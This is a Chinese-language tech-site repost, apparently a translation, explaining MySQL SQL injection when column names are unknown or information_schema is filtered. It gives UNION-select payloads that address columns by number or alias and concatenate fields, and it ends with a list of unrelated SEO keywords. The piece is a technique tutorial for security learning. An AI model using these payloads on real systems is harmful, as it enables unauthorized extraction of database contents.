MySQL在不知道列名情况下的注入详解
发表于:2025-02-03 作者:千家信息网编辑
千家信息网最后更新 2025年02月03日,前言最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧前提以下情况适用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[
千家信息网最后更新 2025年02月03日MySQL在不知道列名情况下的注入详解
前言
最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧
前提
以下情况适用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema库],且已获取到库名和表名
① 当只能获取到表名,获取不到列名或者只能获取到无有效内容的列名情况【例如 id】
② 当希望通过information_schema库中的表去获取其他表的结构,即表名、列名等,但是这个库被WAF过滤掉的情况
其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些,因为对我来说,一般遇到waf就放弃了(菜的真实23333)
解决
正常的查询:
以下是正常查询 test 库中的 user 表内容
select * from user;
UNION查询:
select 1,2,3,4 union select * from user;
数字对应列查询:
可以使用数字来对应列来进行查询,如 2 对应了表里面的 name 列
select `2` from (select 1,2,3,4 union select * from user)a;
别名代替查询:
当反引号 ` 不能使用的时候,可以使用别名来代替,如设置 2 的别名为 b
select b from (select 1,2 as b,3,4 union select * from user)a;
多列合并查询:
同上:这里反引号不能用的话,一样可以使用别名代替
select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;
仅作翻译以及思路整理
原文链接:https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对的支持。
查询
内容
情况
别名
引号
感觉
数字
版本
还是
学习
实用
有效
舒服
个人
价值
前提
前言
原文
实用性
就是
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
标准服务器的应用
安徽统一软件开发推广
数据库的备份有哪几种方法
宿城区自动化网络技术价格表格
网络安全领导小组会议记录
计算机敏捷网络技术
数据库中国时区
软件开发边界模板设计说明
长沙商学院有软件开发吗
服务器架构教程
服务器资源管理工具
违反网络安全法询问提纲
软件开发企业进项税额抵扣
网络安全知识教案课件
兰州市委网络安全
企业网络安全工作会讲话
新乡市帮客网络技术有限公司
初级计算机网络安全课程
小米邮箱访问服务器异常怎么办
软件开发及服务股票有哪些
数据库null是0吗
网络技术找什么工作
学校组织开展网络安全教育
大专计算机网络技术去哪里实习
ro250 数据库
万德数据库有对外直接投资吗
初级计算机网络安全课程
网络安全升旗仪式新闻稿
全国学习网络技术平台
黄山系统软件开发定制公司